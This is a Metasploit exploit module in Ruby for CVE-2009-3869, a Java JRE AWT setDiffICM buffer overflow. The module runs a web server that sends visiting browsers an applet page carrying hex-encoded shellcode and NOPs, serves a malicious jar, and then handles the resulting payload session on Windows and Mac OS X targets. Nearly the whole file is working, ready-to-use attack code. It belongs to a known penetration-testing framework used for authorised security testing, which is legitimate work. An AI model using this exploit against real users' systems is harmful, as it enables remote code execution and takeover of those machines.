##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sun Java JRE AWT setDiffICM Buffer Overflow',
        'Description' => %q{
          This module exploits a flaw in the setDiffICM function in the Sun JVM.

          The payload is serialized and passed to the applet via PARAM tags. It must be
          a native payload.

          The effected Java versions are JDK and JRE 6 Update 16 and earlier,
          JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
          earlier, and SDK and JRE 1.3.1_26 and earlier.

          NOTE: Although all of the above versions are reportedly vulnerable, only
          1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jduck'
        ],
        'References' => [
          [ 'CVE', '2009-3869' ],
          [ 'OSVDB', '59710' ],
          [ 'BID', '36881' ],
          [ 'ZDI', '09-078' ]
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => '',
          'DisableNops' => true
        },
        'Targets' => [
=begin

No automatic targetting for now ...

          [ 'J2SE 1.6_16 Automatic',
            {
              'Platform' => %w{ linux osx win },
              'Arch' => [ARCH_X86, ARCH_PPC]
            }
          ],
=end
          [
            'J2SE 1.6_16 on Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [
            'J2SE 1.6_16 on Mac OS X PPC',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC
            }
          ],
          [
            'J2SE 1.6_16 on Mac OS X x86',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-11-04',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, req)
    # Create a cached mapping between IP and detected target
    @targetcache ||= {}
    @targetcache[cli.peerhost] ||= {}
    @targetcache[cli.peerhost][:update] = Time.now.to_i

    if (target.name =~ /Automatic/)
      case req.headers['User-Agent']
      when /Windows/i
        print_status('Choosing a Windows target')
        @targetcache[cli.peerhost][:target] = targets[1]
      when /PPC Mac OS X/i
        print_status('Choosing a Mac OS X PPC target')
        @targetcache[cli.peerhost][:target] = targets[2]
      when /Intel Mac OS X/i
        print_status('Choosing a Mac OS X x86 target')
        @targetcache[cli.peerhost][:target] = targets[3]
      else
        print_status("Unknown target for: #{req.headers['User-Agent']}")
      end
    end

    # Clean the cache
    rmq = []
    @targetcache.each_key do |addr|
      if (Time.now.to_i > @targetcache[addr][:update] + 60)
        rmq.push addr
      end
    end

    rmq.each { |addr| @targetcache.delete(addr) }

    # Request processing
    if (!req.uri.match(/\.jar$/i))

      # Redirect to the base directory so the applet code loads...
      if (!req.uri.match(%r{/$}))
        print_status('Sending redirect so path ends with / ...')
        send_redirect(cli, get_resource + '/', '')
        return
      end

      # Display the applet loading HTML
      print_status('Sending HTML')
      send_response_html(cli, generate_html(payload.encoded),
                         {
                           'Content-Type' => 'text/html',
                           'Pragma' => 'no-cache'
                         })
      return
    end

    # Send the actual applet over
    print_status('Sending applet')
    send_response(cli, generate_applet(cli, req),
                  {
                    'Content-Type' => 'application/octet-stream',
                    'Pragma' => 'no-cache'
                  })

    # Handle the payload
    handler(cli)
  end

  def generate_html(pl)
    html = <<~EOF
      <html>
      <head>
      <!-- <meta http-equiv=refresh content=10 /> -->
      </head>
      <body>
      <applet width='100%' height='100%' code='AppletX' archive='JARNAME'>
      <param name='sc' value='SCODE' />
      <param name='np' value='NOPS' />
      </applet>
      </body>
      </html>
    EOF
    # finalize html
    jar_name = rand_text_alphanumeric(32) + '.jar'
    html.gsub!(/JARNAME/, jar_name)

    # put payload into html
    debug_payload = false
    pload = ''
    pload << "\xcc" if debug_payload
    pload << pl
    if ((pload.length % 4) > 0)
      pload << rand_text((4 - (pload.length % 4)))
    end
    if debug_payload
      print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
    end
    html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))

    # put nops into html
    nops = "\x90\x90\x90\x90"
    html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
    # print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))

    return html
  end

  def exploit
    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3869.jar')
    fd = File.open(path, 'rb')
    @jar_data = fd.read(fd.stat.size)
    fd.close

    super
  end

  def generate_applet(cli, _req)
    if (target.name =~ /Automatic/)
      if (@targetcache[cli.peerhost][:target])
        @targetcache[cli.peerhost][:target]
      else
        return ''
      end
    else
      target
    end

    return @jar_data
  end
end
